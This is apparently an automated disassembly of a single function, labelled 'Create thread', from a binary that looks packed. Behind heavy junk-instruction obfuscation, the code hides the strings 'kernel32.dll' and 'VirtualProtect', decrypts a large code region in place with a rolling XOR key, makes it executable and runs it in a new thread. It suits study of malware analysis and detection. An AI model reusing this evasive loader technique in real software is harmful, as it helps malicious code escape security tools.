Function at 0xcbcf41
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
pushfd
inc ecx
dec ecx
popfd
call fcn.00cbd331
pushfd
inc esi
dec esi
popfd
lea eax, [ebp - 0xd8]
push ebx
push ecx
pop ecx
pop ebx
push edx
pop edx
mov ebx, 0x61
pushfd
inc ebx
dec ebx
popfd
add bx, 0xa
push edi
push ecx
pop ecx
pop edi
mov word [eax], bx
push edx
push eax
pop eax
pop edx
sub bx, 6
pushfd
push ecx
add esp, 4
popfd
mov word [eax + 2], bx
xchg ebx, ebx
xchg ecx, edi
xchg edi, ecx
add bx, 0xd
push eax
pop eax
pushfd
push 0x321f9044
add esp, 4
popfd
mov word [eax + 4], bx
mov ebx, ebx
push edi
pop edi
sub bx, 4
pushfd
push 0x37bc2bff
add esp, 4
popfd
mov word [eax + 6], bx
pushfd
push edi
add esp, 4
popfd
pushfd
xor ecx, 0x23ca1cb9
xor ecx, 0x23ca1cb9
popfd
sub bx, 9
pushfd
push 0x670bbf35
add esp, 4
popfd
mov word [eax + 8], bx
xchg ebx, esi
xchg esi, ebx
push ebx
push esi
pop esi
pop ebx
add bx, 7
mov esi, esi
xchg edx, edi
xchg edi, edx
mov word [eax + 0xa], bx
pushfd
push ebx
add esp, 4
popfd
sub bx, 0x39
xchg edx, edx
push edx
push eax
pop eax
pop edx
mov word [eax + 0xc], bx
push eax
pop eax
pushfd
inc esi
dec esi
popfd
dec bx
pushfd
push 0xd044752a
add esp, 4
popfd
xchg edi, esi
xchg esi, edi
mov word [eax + 0xe], bx
push esi
pop esi
sub bx, 4
pushfd
xor ecx, 0x1350d363
xor ecx, 0x1350d363
popfd
mov word [eax + 0x10], bx
pushfd
inc ebx
dec ebx
popfd
add bx, 0x36
xchg ebx, ebx
mov word [eax + 0x12], bx
push eax
push esi
pop esi
pop eax
pushfd
xor ecx, 0xb4779ee
xor ecx, 0xb4779ee
popfd
add bx, 8
xchg ecx, ecx
mov word [eax + 0x14], bx
nop
xchg esi, edi
xchg edi, esi
mov word [eax + 0x16], bx
pushfd
push 0xe149bfe6
add esp, 4
popfd
xchg ecx, ecx
mov word [eax + 0x18], 0
push ebx
pop ebx
push edi
pop edi
push eax
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
push edx
push edi
pop edi
pop edx
push eax
push ebx
pop ebx
pop eax
mov dword [ebp - 0x10], eax
pushfd
push esi
add esp, 4
popfd
lea eax, [ebp - 0xd8]
xchg ebx, eax
xchg ebx, eax
mov ebx, 0x61
push esi
pop esi
push esi
pop esi
sub bl, 0xb
pushfd
xor edx, 0xe2fc5efa
xor edx, 0xe2fc5efa
popfd
mov byte [eax], bl
push edx
push esi
pop esi
pop edx
add bl, 0x13
pushfd
push eax
add esp, 4
popfd
pushfd
inc ebx
dec ebx
popfd
mov byte [eax + 1], bl
pushfd
xor ecx, 0x4583d127
xor ecx, 0x4583d127
popfd
pushfd
push eax
add esp, 4
popfd
add bl, 9
push ebx
push esi
pop esi
pop ebx
mov byte [eax + 2], bl
pushfd
push ebx
add esp, 4
popfd
add bl, 2
mov edi, edi
pushfd
push 0x1e0bd12c
add esp, 4
popfd
mov byte [eax + 3], bl
pushfd
inc ebx
dec ebx
popfd
pushfd
push 0x6479773c
add esp, 4
popfd
inc bl
xchg edi, esi
xchg esi, edi
mov byte [eax + 4], bl
nop
sub bl, 0x14
push esi
push ebx
pop ebx
pop esi
mov byte [eax + 5], bl
pushfd
xor edx, 0x4f2dde3
xor edx, 0x4f2dde3
popfd
add bl, 0xb
push esi
push ebx
pop ebx
pop esi
mov byte [eax + 6], bl
pushfd
push 0xf75c80f5
add esp, 4
popfd
mov esi, esi
sub bl, 0x1c
xchg ecx, ecx
push esi
push ecx
pop ecx
pop esi
mov byte [eax + 7], bl
pushfd
push edi
add esp, 4
popfd
add bl, 0x22
push eax
push ecx
pop ecx
pop eax
pushfd
push esi
add esp, 4
popfd
mov byte [eax + 8], bl
mov eax, eax
mov esi, esi
sub bl, 3
pushfd
push edi
add esp, 4
popfd
mov byte [eax + 9], bl
nop
pushfd
inc ecx
dec ecx
popfd
add bl, 5
xchg ecx, ecx
mov edi, edi
mov byte [eax + 0xa], bl
pushfd
push edi
add esp, 4
popfd
push eax
push ebx
pop ebx
pop eax
sub bl, 0xf
pushfd
push ecx
add esp, 4
popfd
mov byte [eax + 0xb], bl
pushfd
push 0xb5982936
add esp, 4
popfd
sub bl, 2
xchg edx, edx
pushfd
push esi
add esp, 4
popfd
mov byte [eax + 0xc], bl
pushfd
inc esi
dec esi
popfd
add bl, 0x11
push eax
push ecx
pop ecx
pop eax
pushfd
inc ecx
dec ecx
popfd
mov byte [eax + 0xd], bl
xchg esi, edi
xchg edi, esi
mov byte [eax + 0xe], 0
pushfd
push 0x4583bf50
add esp, 4
popfd
push eax
push dword [ebp - 0x10]
call dword [sym.imp.kernel32.dll_GetProcAddress]
pushfd
push esi
add esp, 4
popfd
mov ebx, ebx
mov dword [ebp - 0xc], eax
push eax
pop eax
pushfd
xor eax, 0x9a95093b
xor eax, 0x9a95093b
popfd
lea eax, [ebp - 8]
pushfd
xor ecx, 0x61519d23
xor ecx, 0x61519d23
popfd
push eax
push 4
push 0x5d2a22
push entry0
call dword [ebp - 0xc]
xchg esi, esi
mov edi, entry0
push ecx
pop ecx
mov esi, 0x40100e
pushfd
push 0xc9d77106
add esp, 4
popfd
mov ecx, 0x5d2a22
mov ebx, ebx
xchg edi, ebx
xchg ebx, edi
mov edx, 0x79bc0c65
pushfd
inc eax
dec eax
popfd
xchg ebx, eax
xchg ebx, eax
mov ebx, 0x52e644fa
push ecx
push edx
pop edx
pop ecx
cld
xchg edi, edi
lodsb al, byte [esi]
xchg edi, edi
xor al, dl
mov edx, edx
stosb byte es:[edi], al
mov esi, esi
ror edx, 5
xchg esi, esi
imul edx, edx, 7
mov edi, edi
test ebx, 1
mov eax, eax
je 0xcbd285
nop
add esi, 1
mov eax, eax
ror ebx, 1
xchg ebx, ebx
dec ecx
xchg esi, esi
test ecx, ecx
nop
jne 0xcbd25f
xchg ebx, ecx
xchg ecx, ebx
lea eax, [ebp - 8]
xchg edi, edi
xchg esi, esi
push eax
push 0x20
push 0x5d2a22
push entry0
call dword [ebp - 0xc]
nop
mov edx, edx
lea eax, [ebp - 4]
push ecx
push edi
pop edi
pop ecx
pushfd
xor esi, 0xfc2c6e8
xor esi, 0xfc2c6e8
popfd
push 0
push 0
push eax
push entry0
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
pushfd
push edx
add esp, 4
popfd
pushfd
xor esi, 0xbb6791d7
xor esi, 0xbb6791d7
popfd
pushfd
push eax
add esp, 4
popfd
xchg edi, edi
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
xchg esi, eax
xchg esi, eax
pushfd
xor edx, 0xab1b3cda
xor edx, 0xab1b3cda
popfd
jmp 0xcbd2ec